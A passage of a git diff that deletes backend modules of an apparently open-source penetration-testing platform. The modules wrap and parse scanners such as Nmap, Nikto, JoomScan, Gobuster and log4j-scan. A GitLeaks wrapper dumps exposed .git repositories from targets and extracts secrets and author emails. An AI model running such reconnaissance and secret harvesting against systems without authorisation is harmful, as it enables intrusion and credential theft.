added yet - for input in argument.inputs.order_by('order'): # For each argument input (ordered) - model = getattr(input.type, model_method)() # Get model from input - if model: # Model found - # Process base inputs - found, command = self.process_source(argument, input, model, source, command) - if found: # Related base input found and processed - break - return found, command - - def get_authentication( - self, - targets_list: List[BaseInput], - findings_list: List[Finding] - ) -> Optional[Authentication]: - '''Get authentication for a given list of targets and findings. - - Args: - targets_list (List[BaseInput]): Targets list - findings_list (List[Finding]): Findings list - - Returns: - Optional[Authentication]: Authentication entity if found - ''' - for ports in [ - [p for p in findings_list if isinstance(p, Port)], # Get Ports from findings list - [p for p in targets_list if isinstance(p, TargetPort)], # Get TargetPorts from targets list - ]: - if len(ports) > 0: # Ports found - if len(ports) == 1: # Only one port - authentications = Authentication.objects.filter( # Look for authentication entity - target_port__target=self.execution.task.target, - target_port__port=cast(Union[Port, TargetPort], ports[0]).port - ) - if authentications.exists(): # Authentication found - return authentications.first() - break - return None - - def get_arguments(self, targets: List[BaseInput], previous_findings: List[Finding]) -> List[str]: - '''Get tool arguments for the tool command. - - Args: - targets (List[BaseInput]): List of targets and resources that can be included in the tool arguments - previous_findings (List[Finding]): List of previous findings that can be included in the tool arguments - - Raises: - ToolExecutionException: Raised if targets and previous findings aren't enough to build the arguments - - Returns: - List[str]: List of tool arguments to use in the tool execution - ''' - command = { - 'script': self.script, # Script to execute the tool - 'command': self.tool.command, # Add tool command to the arguments - 'intensity': self.intensity.argument, # Add intensity config to the arguments - 'output': self.path_output if self.file_output_enabled else '' # Add output config to the arguments - } - authentication = self.get_authentication(targets, previous_findings) # Search related authentication instance - if authentication: # Authentication exists - previous_findings.append(authentication) # Add authentication instance - for argument in self.arguments: # For each tool argument - found, command = self.process_argument( - argument, - 'get_model_class', - cast(List[BaseInput], previous_findings), - command - ) - if not found: - _, command = self.process_argument(argument, 'get_callback_model_class', targets, command) - if argument.name not in command or not command[argument.name]: # Argument can't be added - if argument.required: # Argument is required for the tool - raise ToolExecutionException(f'Tool configuration requires {argument.name} argument') - else: # Argument is optional for the tool - command[argument.name] = '' # Ignore this argument - # Format configuration arguments with the built tool arguments - args = self.configuration.arguments.format(**command) - # Split arguments by whitespaces taking into account the arguments between quotes - return [a.replace('"', '') for a in re.findall(r'[^\s\'"]*[\'"][^\'"]+[\'"]|[^\'"\s]+', args)] - - def check_arguments(self, targets: List[BaseInput], findings: List[Finding]) -> bool: - '''Check if given resources (targets, resources and findings) lists are enough to execute the tool. - - Args: - tool (BaseTool): Tool instance to be executed - targets (List[BaseInput]): Target list (targets and resources) to include in the tool arguments - findings (List[Finding]): Finding list to include in the tool arguments - - Returns: - bool: Indicate if the tool can be executed with the given targets and findings - ''' - try: - self.get_arguments(targets, findings) # Try to configure the tool arguments - return True - except ToolExecutionException: - return False - - def get_host_from_url(self, argument: str) -> str: - '''Get host from URL used for tool execution. - - Args: - argument (str): URL argument name - - Returns: - str: Host associated to the URL - ''' - index = self.command_arguments.index(argument) + 1 - host = self.command_arguments[index] - if '://' in host: # URL with protocol data - host = host.split('://', 1)[1] # Remove protocol data from URL - if host[-1] == '/': # URL ends in slash - host = host[:-1] # Remove last slash form URL - return host - - def get_environment(self, arguments: List[str]) -> Tuple[List[str], Dict[str, Any]]: - '''Get environment variables from tool arguments. - - Args: - arguments (List[str]): Tool arguments list - - Returns: - Tuple[List[str], Dict[str, Any]]: Updated tool arguments to use and environment variables to apply - ''' - environment = os.environ.copy() # Copy current environment - if self.tool.command not in arguments: - arguments.insert(0, self.tool.command) # Combine tool command with arguments - else: - index = arguments.index(self.tool.command) # Get command index - for definition in arguments[:index]: # For each previous argument - if '=' not in definition: # It isn't an environment variable - continue - variable, value = definition.split('=', 1) # Parse variable - environment[variable] = value.strip().replace('\'', '').replace('"', '') # Add environment variable - arguments = arguments[index:] # Remove environment variable from args - return arguments, environment - - def tool_execution(self, arguments: List[str]) -> str: - '''Execute the tool. - - Args: - arguments (List[str]): Arguments to include in the tool command - - Raises: - ToolExecutionException: Raised if tool execution finishes with an exit code distinct than zero - - Returns: - str: Plain output of the tool execution - ''' - arguments, environment = self.get_environment(arguments) # Get environment from argument - logger.info(f'[Tool] Running: {" ".join(arguments)}') - if hasattr(self, 'run_directory'): - process = subprocess.run( # Execute the tool in directory - arguments, - capture_output=True, - env=environment, - cwd=getattr(self, 'run_directory') - ) - else: - process = subprocess.run(arguments, capture_output=True, env=environment) # Execute the tool - if not self.ignore_exit_code and process.returncode > 0: - # Execution error and ignore exit code is False - raise ToolExecutionException(process.stderr.decode('utf-8')) - return process.stdout.decode('utf-8') - - def create_finding(self, finding_type: Model, **fields: Any) -> Finding: - '''Create finding from fields. - - Args: - finding_type (Model): Finding model - - Returns: - Finding: Created finding entity - ''' - # Get unique filter for this finding model and from this fields - unique_filter = get_unique_filter(finding_type.key_fields, fields, self.execution.task.target) - finding = finding_type.objects.filter(**unique_filter).first() # Check if finding already exists - fields.update({ - 'detected_by': self.tool, - 'last_seen': timezone.now(), - }) - if finding: - updated_fields = [] - for field, value in fields.items(): # For each finding field - if value and value != getattr(finding, field): # Distinct value than the existing one - setattr(finding, field, value) # Update existing field - updated_fields.append(field) - if updated_fields: - finding.save(update_fields=updated_fields) # Update existing finding - else: # Finding not found - finding = finding_type.objects.create(**fields) # Create new finding - finding.executions.add(self.execution) # Link finding to the current execution - self.findings.append(finding) - return finding - - def parse_output_file(self) -> None: - '''Parse tool output file to create finding entities. This should be implemented by child tool classes.''' - pass # pragma: no cover - - def parse_plain_output(self, output: str) -> None: - '''Parse tool plain output to create finding entities. This should be implemented by child tool classes. - - Args: - output (str): Plain tool output - ''' - pass # pragma: no cover - - def process_findings(self) -> None: - '''Set relations between parsed findings and previous findings, and send new findings to the findings queue.''' - for finding in self.findings: # For each parsed finding - if ( - # Vulnerability with port and technology exists in saved relations - isinstance(finding, Vulnerability) and - getattr(finding, 'port') and - 'technology' in self.findings_relations - ): - # Remove port value because technology is more relevant - setattr(finding, 'port', None) - finding.save(update_fields=['port']) - for key, value in self.findings_relations.items(): # For each saved relations - # Vulnerability with technology value and the current relation is with port - if isinstance(finding, Vulnerability) and getattr(finding, 'technology') and key == 'port': - # Ignore this relation because technology relation is more relevant - continue - if ( - hasattr(finding, key) and - # Discard relations between findings - not isinstance(getattr(finding.__class__, key), ReverseManyToOneDescriptor) and - # Discard standard fields: Text, Number, etc. - not isinstance(getattr(finding.__class__, key), DeferredAttribute) - ): - # Finding has a field that matches the current relation - setattr(finding, key, value) # Set relation between findings - finding.save(update_fields=[key]) - producer(self.execution, self.findings) # Send findings to the findings queue - - def on_start(self) -> None: - '''Perform changes in Execution entity when tool execution starts.''' - self.execution.start = timezone.now() # Set execution start date - self.execution.save(update_fields=['start']) - - def on_skipped(self, message: str = None) -> None: - '''Perform changes in Execution entity when tool execution is skipped. - - Args: - message (str, optional): Descriptive message about the execution skipping - ''' - self.execution.status = Status.SKIPPED # Set execution status to Skipped - self.execution.output_plain = message - self.execution.end = timezone.now() # Set execution end date - self.execution.save(update_fields=['status', 'end', 'output_plain']) - - def on_running(self) -> None: - '''Perform changes in Execution entity when command execution starts.''' - self.execution.status = Status.RUNNING # Set execution status to Running - self.execution.save(update_fields=['status']) - - def on_error(self, stderr: str = None) -> None: - '''Perform changes in Execution entity when command execution ends with errors. - - Args: - stderr (str, optional): Command execution stderr. Defaults to None. - ''' - if stderr: - if self.path_output in stderr: - stderr.replace(self.path_output, f'output.{self.tool.output_format}') # Prevent information exposure - self.execution.output_error = stderr.strip() # Save execution error output - self.execution.status = Status.ERROR # Set execution status to Error - self.execution.end = timezone.now() # Set execution end date - self.execution.save(update_fields=['output_error', 'status', 'end']) - - def on_completed(self, stdout: str) -> None: - '''Perform changes in Execution entity when command execution ends successfully. - - Args: - stdout (str): Command execution stdout - ''' - self.execution.status = Status.COMPLETED # Set execution status to Completed - self.execution.end = timezone.now() # Set execution end date - if self.file_output_enabled and os.path.isfile(self.path_output): # If tool execution has an output file - self.execution.output_file = self.path_output.strip() # Save output file path - if self.path_output in stdout: - stdout.replace(self.path_output, f'output.{self.tool.output_format}') # Prevent information exposure - self.execution.output_plain = stdout # Save plain output - self.execution.save(update_fields=['status', 'end', 'output_file', 'output_plain']) - - def run(self, targets: List[BaseInput], previous_findings: List[Finding]) -> None: - '''Run tool. - - Args: - targets (List[BaseInput]): List of targets and resources - previous_findings (List[Finding]): List of previous findings - ''' - self.on_start() # Start execution - try: - self.check_installation() # Check tool installation - except ToolExecutionException as ex: # Tool installation not found - logger.error(f'[Tool] Tool {self.tool.name} is not installed in the system. This execution will be skipped') - self.on_skipped(str(ex)) # Skip execution - return - try: - # Get arguments to include in command - self.command_arguments = self.get_arguments(targets, previous_findings) - except ToolExecutionException as ex: - logger.error(f'[Tool] {str(ex)}') - # Targets and findings aren't enough to build the command - self.on_skipped(str(ex)) # Skip execution - return - self.prepare_environment() # Prepare environment - self.on_running() # Run execution - try: - output = '' - if not TESTING: - # Run tool - output = self.tool_execution(self.command_arguments) # pragma: no cover - except ToolExecutionException as ex: # pragma: no cover - logger.error(f'[Tool] {self.tool.name} execution finish with errors') - # Error during tool execution - self.on_error(stderr=str(ex)) # Execution error - self.clean_environment() # Clean environment - return - except Exception as ex: # pragma: no cover - logger.error(f'[Tool] Unexpected error during {self.tool.name} execution') - logger.error(str(ex)) - # Unexpected error during tool execution - self.on_error() # Execution error - self.clean_environment() # Clean environment - return - self.clean_environment() # Clean environment - self.on_completed(output) # Completed execution - logger.info(f'[Tool] {self.tool.name} execution has been completed') - if self.file_output_enabled and os.path.isfile(self.path_output) and os.stat(self.path_output).st_size > 0: - # Output file exists - self.parse_output_file() # Parse output file - else: # Output file not found - self.parse_plain_output(output) # Parse plain output - logger.info(f'[Tool] {len(self.findings)} findings parsed from {self.tool.name} output') - self.process_findings() # Process parsed findings diff --git a/src/backend/tools/tools/cmseek.py b/src/backend/tools/tools/cmseek.py deleted file mode 100644 index 44c1f9bde..000000000 --- a/src/backend/tools/tools/cmseek.py +++ /dev/null @@ -1,182 +0,0 @@ -import json -import os -import shutil -from typing import Any -from urllib.parse import urlparse - -from findings.enums import PathType, Severity -from findings.models import Credential, Path, Technology, Vulnerability -from tools.tools.base_tool import BaseTool - -from rekono.settings import TOOLS - - -class Cmseek(BaseTool): - '''CMSeeK tool class.''' - - # CMSeeK directory where output files can be stored - home_directory = TOOLS['cmseek']['directory'] - - def clean_environment(self) -> None: - '''Move original file output to Rekono outputs directory.''' - # Get path from URL used in command - url_path = self.get_host_from_url('-u').replace('/', '_').replace(':', '_') - report_file = 'cms.json' # Original output file name - results = os.path.join('Result', url_path) # Result path in current directory - # Original output file in current directory - report = os.path.join(results, report_file) - home_results = os.path.join(self.home_directory, results) # Result path in CMSeeK directory - # Original output file in CMSeeK directory - home_report = os.path.join(home_results, report_file) - if not os.path.isfile(report) and os.path.isfile(home_report): # If output file in CMSeeK directory - results = home_results # Update results path variable - report = home_report # Update report path variable - if os.path.isfile(report): # If report file found - # Move original report file to Rekono outputs directory - shutil.move(report, self.path_output) - shutil.rmtree(results) # Remove results directory - - def analyze_endpoints(self, url: str, technology: Technology, key: str, value: Any) -> None: - '''Analyze endpoints from report item. - - Args: - url (str): Target URL - technology (Technology): Technology created from basic CMS data - key (str): Item key - value (Any): Item value - ''' - paths = value - if isinstance(value, str): - paths = value.split(',') if ',' in value else [value] # Paths from string value - # Remove target URL from paths - paths = [p.replace(url, '/') for p in paths if p and p.replace(url, '/') != '/'] - for path in paths: # For each path - # Create Path - self.create_finding(Path, path=path.replace('//', '/'), type=PathType.ENDPOINT) - if 'backup_file' in key: # Backup file found - self.create_finding( # Create Vulnerability - Vulnerability, - technology=technology, - name='Backup files found', - description=', '.join(paths), - severity=Severity.HIGH, - # CWE-530: Exposure of Backup File to an Unauthorized Control Sphere - cwe='CWE-530' - ) - elif 'config_file' in key: # Configuration file found - self.create_finding( - Vulnerability, - technology=technology, - name='Configuration files found', - description=', '.join(paths), - severity=Severity.MEDIUM, - # CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere - cwe='CWE-497' - ) - - def parse_cms_components(self, key: str, value: str, cms_name: str, cms_id: str, cms: Technology) -> None: - '''Parse CMS components data to create Technologies. - - Args: - key (str): Component key - value (str): Component value - cms_name (str): CMS name - cms_id (str): CMS Id - cms (Technology): CMS Technology - ''' - for item in value.split(','): # For each CMS component - aux = item.split('Version', 1) # Parse component data - name = None - if cms_name in key: - name = key.replace(f'{cms_name}_', '') # Get CMS component type name - elif cms_id in key: - name = key.replace(f'{cms_id}_', '') # Get CMS component type name - tech = aux[0].strip() if len(aux) > 0 else None # Get CMS component name - vers = aux[1].strip() if len(aux) > 1 else None # Get CMS component version - if tech: # If CMS component name found - # Create Technology with CMS component data - self.create_finding( - Technology, - name=tech, - version=vers, - related_to=cms, # Related to CMS technology - description=f'{cms_name} {name}' - ) - - def parse_cms_vulnerabilities(self, value: dict, cms: Technology) -> None: - '''Parse CMS vulnerabilities to create Vulnerabilities. - - Args: - value (dict): Vulnerability values - cms (Technology): CMS Technology - ''' - for vuln in value['vulnerabilities']: # For each CVE - # Create Vulnerability with CVE and related to CMS Technology - self.create_finding(Vulnerability, technology=cms, name=vuln.get('name'), cve=vuln.get('cve')) - - def parse_cms_usernames(self, value: str, cms: Technology) -> None: - '''Parse CMS usernames to create Credentials. - - Args: - value (str): Username values - cms (Technology): CMS Technology - ''' - for user in value.split(','): # For each username - if user: - self.create_finding( # Create Credential with username - Credential, - technology=cms, - username=user, - context=f'{cms.name} username' - ) - - def parse_output_file(self) -> None: - '''Parse tool output file to create finding entities.''' - with open(self.path_output, 'r', encoding='utf-8') as output_file: - report = json.load(output_file) # Read output file - cms_name = report.get('cms_name') # Get CMS name - cms_id = report.get('cms_id') # Get CMS Id - if cms_name and cms_id: # CMS found - cms_version = None - if f'{cms_id}_version' in report: # Search CMS version by Id - cms_version = report.get(f'{cms_id}_version') # Get CMS version by Id - elif f'{cms_name}_version' in report: # Search CMS version by name - cms_version = report.get(f'{cms_name}_version') # Get CMS version by name - url = report.get('url') # Get target URL - if url: - url_parsed = urlparse(report.get('url')) # Parse target URL - if url_parsed.path: # Path in the target URL - url = url.replace(url_parsed.path, '/') # Remove endpoint from the base URL - cms = self.create_finding( # Create Technology with the CMS data - Technology, - name=cms_name, - version=cms_version, - description='CMS', - reference=report.get('cms_url') - ) - for key, value in [(k, v) for k, v in report.items() if k not in [ # For each data in report - 'cms_id', 'cms_name', 'cms_url', # Exclude basic CMS data - f'{cms_id}_version', f'{cms_name}_version', 'url' - ]]: - if ( - (isinstance(value, str) and url in value) or - (isinstance(value, list) and len([i for i in value if url in i]) > 0) - ): - # Path found - self.analyze_endpoints(url, cms, key, value) # Analyze endpoint - elif '_users' in key and ',' in value: # Users found - self.parse_cms_usernames(value, cms) - elif '_debug_mode' in key and value != 'disabled': # Vulnerability found: debug enabled - self.create_finding( # Create Vulnerability - Vulnerability, - technology=cms, # Related to CMS technology - name='Debug mode enabled', - description=f'{cms_name} debug mode enabled', - severity=Severity.LOW, - cwe='CWE-489' # CWE-489: Active Debug Code - ) - elif '_vulns' in key and 'vulnerabilities' in value: # CVEs found - self.parse_cms_vulnerabilities(value, cms) # Parse CMS vulnerabilities - elif 'Version' in value and ',' in value: - # CMS component found (plugin, theme, ...) - self.parse_cms_components(key, value, cms_name, cms_id, cms) # Parse CMS components diff --git a/src/backend/tools/tools/dirsearch.py b/src/backend/tools/tools/dirsearch.py deleted file mode 100644 index ff7f5c36d..000000000 --- a/src/backend/tools/tools/dirsearch.py +++ /dev/null @@ -1,26 +0,0 @@ -import json - -from findings.enums import PathType -from findings.models import Path -from tools.tools.base_tool import BaseTool - - -class Dirsearch(BaseTool): - '''Dirsearch tool class.''' - - # Exit code ignored because Dirsearch report will include findings until error occurs - ignore_exit_code = True - - def parse_output_file(self) -> None: - '''Parse tool output file to create finding entities.''' - with open(self.path_output, 'r', encoding='utf-8') as output_file: - data = json.load(output_file) # Read output file - for url in data.get('results', []): # For each URL - for item in url.values(): # For each item - for endpoint in item: # For each endpoint - self.create_finding( # Create Path - Path, - path=endpoint.get('path', ''), - status=endpoint.get('status', 0), - type=PathType.ENDPOINT - ) diff --git a/src/backend/tools/tools/emailfinder.py b/src/backend/tools/tools/emailfinder.py deleted file mode 100644 index dffd893f7..000000000 --- a/src/backend/tools/tools/emailfinder.py +++ /dev/null @@ -1,24 +0,0 @@ -from django.core.exceptions import ValidationError -from django.forms import EmailField -from findings.enums import DataType -from findings.models import OSINT -from tools.tools.base_tool import BaseTool - - -class Emailfinder(BaseTool): - '''EmailFinder tool class.''' - - def parse_plain_output(self, output: str) -> None: - '''Parse tool plain output to create finding entities. This should be implemented by child tool classes. - - Args: - output (str): Plain tool output - ''' - checker = EmailField() - for line in output.split('\n'): # Get output by lines - if line.strip(): - try: - checker.clean(line.strip()) # Check email value - self.create_finding(OSINT, data=line.strip(), data_type=DataType.EMAIL) - except ValidationError: - pass diff --git a/src/backend/tools/tools/emailharvester.py b/src/backend/tools/tools/emailharvester.py deleted file mode 100644 index 17c2c12b2..000000000 --- a/src/backend/tools/tools/emailharvester.py +++ /dev/null @@ -1,15 +0,0 @@ -from findings.enums import DataType -from findings.models import OSINT -from tools.tools.base_tool import BaseTool - - -class Emailharvester(BaseTool): - '''EmailHarvester tool class.''' - - def parse_output_file(self) -> None: - '''Parse tool output file to create finding entities.''' - with open(self.path_output, 'r', encoding='utf-8') as output_file: - emails = output_file.readlines() # Read emails - for email in emails: - if email.strip(): - self.create_finding(OSINT, data=email.strip(), data_type=DataType.EMAIL) diff --git a/src/backend/tools/tools/gitleaks.py b/src/backend/tools/tools/gitleaks.py deleted file mode 100644 index 652d5564f..000000000 --- a/src/backend/tools/tools/gitleaks.py +++ /dev/null @@ -1,96 +0,0 @@ -import json -import os -import subprocess -import uuid -from typing import List - -from findings.enums import Severity -from findings.models import Credential, Port, Vulnerability -from input_types.enums import InputKeyword -from rekono.settings import REPORTS_DIR, TOOLS - -from tools.exceptions import ToolExecutionException -from tools.tools.base_tool import BaseTool - - -class Gitleaks(BaseTool): - '''GitLeaks tool class.''' - - # Exit code ignored because GitLeaks fails when find secrets - ignore_exit_code = True - gitdumper_directory = os.path.join(TOOLS['gittools']['directory'], 'Dumper') # GitDumper directory - script = os.path.join(gitdumper_directory, 'gitdumper.sh') # Indicate the script path to execute - - def parse_output_file(self) -> None: - '''Parse tool output file to create finding entities. This should be implemented by child tool classes.''' - with open(self.path_output, 'r', encoding='utf-8') as output_file: - data = json.load(output_file) # Read output file - emails = [] - for finding in data: # For each finding - self.create_finding( # Save secret match - Credential, - secret=finding.get('Match'), - context=f'/.git/ : {finding.get("File")} -> Line {finding.get("StartLine")}' - ) - email = finding.get('Email') - if email and email not in emails: # New commit author email - emails.append(email) - self.create_finding( # Save commit author email - Credential, - email=email, - context=f'/.git/ : Email of the commit author {finding.get("Author")}' - ) - - def tool_execution(self, arguments: List[str]) -> str: - '''Execute the tool. - - Args: - arguments (List[str]): Arguments to include in the tool command - - Raises: - ToolExecutionException: Raised if tool execution finishes with an exit code distinct than zero - - Returns: - str: Plain output of the tool execution - ''' - _, service = list(self.findings_relations.items())[0] # Get http service to scan - data = service.parse() - if InputKeyword.URL.name.lower() in data and data[InputKeyword.URL.name.lower()]: - if data[InputKeyword.URL.name.lower()][-1] != '/': - data[InputKeyword.URL.name.lower()] += '/.git/' # Add .git path with last slash - else: - data[InputKeyword.URL.name.lower()] += '.git/' # Add .git path with last slash - self.run_directory = os.path.join(REPORTS_DIR, str(uuid.uuid4())) # Path where Git repo will be dumped - process = subprocess.run( # Dump Git repository - ['bash', self.script, data[InputKeyword.URL.name.lower()], self.run_directory], - capture_output=True, - cwd=self.gitdumper_directory - ) - # Checkout files - subprocess.run(['git', 'checkout', '--', '.'], capture_output=True, cwd=self.run_directory) - git_dumped = True - for _, dirs, files in os.walk(self.run_directory): - # Check if Git repository has been dumped or not - git_dumped = len([d for d in dirs if d != '.git']) > 0 or len(files) > 0 - break - if git_dumped: # Git repository has been dumped - self.create_finding( # Create related vulnerability - Vulnerability, - port=service if isinstance(service, Port) else None, - name='Git source code exposure', - description=( - 'Source code is exposed in the endpoint /.git/ and ' - "it's possible to dump it as a git repository" - ), - severity=Severity.HIGH, - # CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere - cwe='CWE-527', - reference='https://iosentrix.com/blog/git-source-code-disclosure-vulnerability/' - ) - self.execution.extra_data_path = self.run_directory # Save extra data related to GitLeaks - self.execution.save(update_fields=['extra_data_path']) - return super().tool_execution(arguments) # Run GitLeaks - if process.returncode > 0: # Error during gitdumper execution - raise ToolExecutionException(process.stderr.decode('utf-8')) - return process.stdout.decode('utf-8') # Git repository hasn't been dumped - raise ToolExecutionException('Path argument is required') diff --git a/src/backend/tools/tools/gobuster.py b/src/backend/tools/tools/gobuster.py deleted file mode 100644 index d7b6e9961..000000000 --- a/src/backend/tools/tools/gobuster.py +++ /dev/null @@ -1,63 +0,0 @@ -from typing import List - -from findings.enums import DataType, PathType -from findings.models import OSINT, Finding, Path -from input_types.models import BaseInput - -from tools.exceptions import ToolExecutionException -from tools.tools.base_tool import BaseTool - - -class Gobuster(BaseTool): - '''Gobuster tool class.''' - - def get_arguments(self, targets: List[BaseInput], previous_findings: List[Finding]) -> List[str]: - '''Get tool arguments for the tool command. - - Args: - targets (List[BaseInput]): List of targets and resources that can be included in the tool arguments - previous_findings (List[Finding]): List of previous findings that can be included in the tool arguments - - Raises: - ToolExecutionException: Raised if targets and previous findings aren't enough to build the arguments - - Returns: - List[str]: List of tool arguments to use in the tool execution - ''' - arguments = super().get_arguments(targets, previous_findings) # Get arguments - if '--url' not in arguments and '--domain' not in arguments: # URL or domain is required - raise ToolExecutionException('Tool configuration requires url or domain argument') - if '--wordlist' not in arguments: # Wordlist is required - raise ToolExecutionException('Tool configuration requires wordlist argument') - return arguments - - def parse_output_file(self) -> None: - '''Parse tool output file to create finding entities.''' - with open(self.path_output, 'r', encoding='utf-8') as output_file: - data = output_file.readlines() # Read output file - for line in data: # Iterate over lines - if ' (Status: ' in line and ') [Size: ' in line: # Endpoint format - aux = line.split(' (Status: ') - self.create_finding( - Path, - path=aux[0].strip(), - status=int(aux[1].split(')')[0].strip()), - type=PathType.ENDPOINT - ) - elif ' Status: ' in line and ' [Size: ' in line: # VHOST format - vhost, status = line.replace('Found: ', '').split(' Status: ') - if status.split(' [')[0].strip().startswith('2'): # Create only VHOST with status 2XX - if '://' in vhost: - vhost = vhost.split('://')[1] # Remove schema from VHOST URL - self.create_finding( - OSINT, - data=vhost.strip(), - data_type=DataType.VHOST, - source='Enumeration' - ) - elif ' [' in line and ']' in line: # Subdomain format - subdomain, addresses = line.replace('Found: ', '').split(' [') # Get subdomains and IP addresses - ips = addresses.replace(']', '').split(',') - self.create_finding(OSINT, data=subdomain.strip(), data_type=DataType.DOMAIN, source='DNS') - for ip in ips: - self.create_finding(OSINT, data=ip.strip(), data_type=DataType.IP, source='DNS') diff --git a/src/backend/tools/tools/joomscan.py b/src/backend/tools/tools/joomscan.py deleted file mode 100644 index b0fbfb9df..000000000 --- a/src/backend/tools/tools/joomscan.py +++ /dev/null @@ -1,102 +0,0 @@ -from findings.enums import PathType, Severity -from findings.models import Exploit, Path, Technology, Vulnerability -from tools.tools.base_tool import BaseTool - - -class Joomscan(BaseTool): - '''JoomScan tool class.''' - - def parse_plain_output(self, output: str) -> None: - '''Parse tool plain output to create finding entities. This should be implemented by child tool classes. - - Args: - output (str): Plain tool output - ''' - technology = None - vulnerability_name = None - endpoints = ['/'] - backups = [] - configurations = [] - path_disclosure = [] - directory_listing = [] - host = self.get_host_from_url('-u') # Get host associated to the target URL - lines = output.split('\n') - for index, line in enumerate(lines): # For each line - data = line.strip() - if not data: - continue - if '[++] Joomla' in data and lines[index - 1] == '[+] Detecting Joomla Version': # Joomla version found - version = data.replace('[++] Joomla ', '').strip() - technology = self.create_finding( - Technology, - name='Joomla', - version=version, - description=f'Joomla {version}', - reference='https://www.joomla.org/' - ) - elif 'CVE : ' in data: # CVE found - aux = data.replace('CVE : ', '').strip() - cves = [aux] - if ',' in aux: - cves = aux.split(',') - # Get name from previous line - vulnerability_name = lines[index - 1].replace('[++]', '').replace('Joomla!', '').strip() - for cve in cves: - self.create_finding( - Vulnerability, - technology=technology, # Related to Joomla technology - name=vulnerability_name, - cve=cve.strip() - ) - elif 'EDB : ' in data: # Exploit found - link = data.replace('EDB : ', '').strip() # Get Exploit DB link - self.create_finding( - Exploit, - technology=technology, # Related to Joomla technology - title=vulnerability_name, - edb_id=int(link.split('https://www.exploit-db.com/exploits/', 1)[1].replace('/', '')), - reference=link - ) - elif 'Debug mode Enabled' in data: - self.create_finding( # Create Vulnerability - Vulnerability, - technology=technology, # Related to Joomla technology - name='Debug mode enabled', - description='Joomla debug mode enabled', - severity=Severity.LOW, - cwe='CWE-489' # CWE-489: Active Debug Code - ) - elif host in data: # Host in line, so there is an endpoint - endpoint = data.split(host, 1)[1] # Get endpoint from line - if ' ' in endpoint: - endpoint = endpoint.split(' ', 1)[0] # Remove no-endpoint data - if endpoint and endpoint not in endpoints: # Check if it's a valid endpoint - endpoints.append(endpoint) - if 'Path :' in data: # Endpoint with backup data - backups.append(endpoint) - if 'config file path :' in data: # Endpoint with configuration data - configurations.append(endpoint) - if 'Full Path Disclosure (FPD) in' in data: # Endpoint with path disclosure - path_disclosure.append(endpoint) - if 'directory has directory listing :' in data: # Endpoint with directory listing - directory_listing.append(endpoint) - self.create_finding(Path, path=endpoint, type=PathType.ENDPOINT) - for name, paths, severity, cwe in [ # For each vulnerability found - # CWE-530: Exposure of Backup File to an Unauthorized Control Sphere - ('Backup files found', backups, Severity.HIGH, 'CWE-530'), - # CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere - ('Configuration files found', configurations, Severity.MEDIUM, 'CWE-497'), - # CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere - ('Full path disclosure', path_disclosure, Severity.LOW, 'CWE-497'), - # CWE-548: Exposure of Information Through Directory Listing - ('Directory listing', directory_listing, Severity.LOW, 'CWE-548'), - ]: - if paths: - self.create_finding( - Vulnerability, - technology=technology, # Related to Joomla technology - name=name, - description=', '.join(paths), - severity=severity, - cwe=cwe - ) diff --git a/src/backend/tools/tools/log4j_scan.py b/src/backend/tools/tools/log4j_scan.py deleted file mode 100644 index 80b82baca..000000000 --- a/src/backend/tools/tools/log4j_scan.py +++ /dev/null @@ -1,23 +0,0 @@ -import os - -from findings.models import Vulnerability -from rekono.settings import TOOLS - -from tools.tools.base_tool import BaseTool - - -class Log4jscan(BaseTool): - '''Log4j Scan tool class.''' - - run_directory = TOOLS['log4j-scan']['directory'] - # Indicate the script path to execute - script = os.path.join(run_directory, 'log4j-scan.py') - - def parse_plain_output(self, output: str) -> None: - '''Parse tool plain output to create finding entities. This should be implemented by child tool classes. - - Args: - output (str): Plain tool output - ''' - if '[!!!] Targets Affected' in output: - self.create_finding(Vulnerability, name='Log4Shell', cve='CVE-2021-44228') diff --git a/src/backend/tools/tools/metasploit.py b/src/backend/tools/tools/metasploit.py deleted file mode 100644 index e35457d77..000000000 --- a/src/backend/tools/tools/metasploit.py +++ /dev/null @@ -1,20 +0,0 @@ -from findings.models import Exploit - -from tools.tools.base_tool import BaseTool - - -class Metasploit(BaseTool): - '''Metasploit tool class.''' - - def parse_plain_output(self, output: str) -> None: - '''Parse tool plain output to create finding entities. This should be implemented by child tool classes. - - Args: - output (str): Plain tool output - ''' - entry = 0 - for line in output.split('\n'): # Get output by lines - if line.strip() and line.strip().startswith(str(entry)): # Expected line - entry += 1 - data = [i.strip() for i in line.strip().split(' ') if i] # Clean line - self.create_finding(Exploit, title=data[-1], reference=data[1]) diff --git a/src/backend/tools/tools/nikto.py b/src/backend/tools/tools/nikto.py deleted file mode 100644 index 5bba7ad87..000000000 --- a/src/backend/tools/tools/nikto.py +++ /dev/null @@ -1,33 +0,0 @@ -import defusedxml.ElementTree as parser -from findings.enums import PathType, Severity -from findings.models import Path, Vulnerability -from tools.tools.base_tool import BaseTool - - -class Nikto(BaseTool): - '''Nikto tool class.''' - - # Exit code ignored because Nikto report will include findings until error occurs - ignore_exit_code = True - - def parse_output_file(self) -> None: - '''Parse tool output file to create finding entities.''' - http_endpoints = set(['/']) # HTTP endpoints set - root = parser.parse(self.path_output).getroot() # Report root - items = root.findall('niktoscan')[-1].findall('scandetails')[0].findall('item') # Get report items - for item in items: # For each item - osvdb = int(item.attrib['osvdbid']) # Get OSVDB Id - method = item.attrib['method'] # Get HTTP method - description = item.findtext('description') # Get description value - endpoint = item.findtext('uri') # Get endpoint tag - if description: - self.create_finding( # Create Vulnerability - Vulnerability, - name=description, - description=f'[{method} {endpoint}] {description}' if endpoint else f'[{method}] {description}', - severity=Severity.MEDIUM, - osvdb=f'OSVDB-{osvdb}' # Get OSVDB name - ) - if endpoint and endpoint not in http_endpoints: # If it's a new endpoint - http_endpoints.add(endpoint) # Add endpoint to HTTP endpoints set - self.create_finding(Path, path=endpoint, type=PathType.ENDPOINT) # Create Path diff --git a/src/backend/tools/tools/nmap.py b/src/backend/tools/tools/nmap.py deleted file mode 100644 index d17948515..000000000 --- a/src/backend/tools/tools/nmap.py +++ /dev/null @@ -1,340 +0,0 @@ -import re -from typing import Any, Callable, Dict, List, Tuple, Union, cast - -from django.db.models import TextChoices -from findings.enums import OSType, PathType, PortStatus, Protocol, Severity -from findings.models import (Credential, Host, Path, Port, Technology, - Vulnerability) -from libnmap.parser import NmapParser -from security.input_validation import CVE_REGEX -from tools.tools.base_tool import BaseTool - - -class Nmap(BaseTool): - '''Nmap tool class.''' - - def 